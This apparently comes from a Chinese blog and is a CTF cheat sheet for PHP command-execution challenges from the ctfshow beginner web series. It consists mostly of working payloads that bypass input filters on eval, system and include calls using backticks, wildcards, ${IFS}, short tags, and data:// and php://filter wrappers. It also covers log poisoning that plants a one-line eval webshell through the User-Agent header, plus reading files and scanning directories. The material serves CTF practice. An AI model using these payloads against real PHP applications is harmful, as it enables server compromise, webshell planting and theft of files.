赞
踩
if(!pregmatch("...",$c)) #指过滤了...
eval($c);
这时候可以尝试
?c=system("ls");
?c=system("cp flag.php 1.txt");
1.txt
若屏蔽了flag/php/“”/system
?c=`cp fla?.??? 1.txt`; #反引号类似于system作用,
若屏蔽了.
?c=eval($_GET[1]);/?> &1=system("tac flag.php");
使用跳板1逃逸了对于c的正则判断
若屏蔽了()
或者可以使用include、require用文件包含解决
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #%0a是换行符
if(!pregmatch("/flag/i",$c)){
include($c);
echo $flag;
}
使用data伪协议
?c=data://text/plain,<?php system("mv fla*.php 1.txt")?>
为什么不能用
php://filter/convert.base64-encode/resource=flag.php
因为题目过滤了flag
若过滤了php
这时候就要使用短标签绕过
?c=data://text/plain,<?=system("cp fla*.*** 1.txt")?>
if(!pregmatch("...",$c))
system($c." >dev/null 2>&1");#后面这串奇怪的东西是让你执行的结果不显示
这里可以使用双写绕过
?c=tac%20/%09flag.php&&/;/||ls
如果空格/tab/flag/&全部被过滤了,就要使用一种不用空格的读取命令
?c=nl<fla''g.php||ls
这里因为不支持通配,故利用shell特性’‘分隔字符串,执行时’‘会自动忽略
如果<也被ban了怎么办?
如果有$ 的话可以使用${IFS},它代表空格/tab/换行
?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls
$c=$_POST['c'];
eval($c);
尝试各种系统读取文件的方法
#POST: c=system(); echo shell_exec(); file_get_contents("*.php"); highlight_file(); show_source(); c=echo include($_GET[1]); #这时候在GET添加?1=php://filter/convert.base64-encode/resource=flag.php #也可以用日志注入?1=/var/log/nginx/access.log 在User-Agent添加一句话木马<?php eval($_POST[a]);?> #如果你确定变量名为flag的话 c=include("flag.php");echo $flag; c=include("flag.php");var_dump(get_defined_vars()); #再或者 c=$curl = curl_init(); //设置url curl_setopt($curl, CURLOPT_URL, 'file:///var/www/html/flag.php'); // 不返回HTTP头部信息 curl_setopt($curl, CURLOPT_HEADER, false); // 设置获取的信息以文件流的形式返回 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // 执行命令 $data = curl_exec($curl); //防止返回结果数据中文乱码 $data =mb_convert_encoding($data , 'UTF-8', 'UTF-8,GBK,GB2312,BIG5'); // 关闭URL请求 curl_close($curl); // 显示获得的数据 print_r($data);
这里补充几种扫描目录并打印的方法
c=var_dump(scandir('.'));//扫描当前目录
c=var_dump(scandir('../'));//扫描上一级目录
c=var_dump(scandir('/'));//扫描根目录
c=print_r(scandir('/'));
#如果没有读权限了,试试GLOBAL协议
c=$a="glob:///*.txt"; //glob:// /*.txt
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
来自ctfshow群主大菜鸡录制的web入门命令执行系列视频
视频移步CTFshow的个人空间_哔哩哔哩_bilibili
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。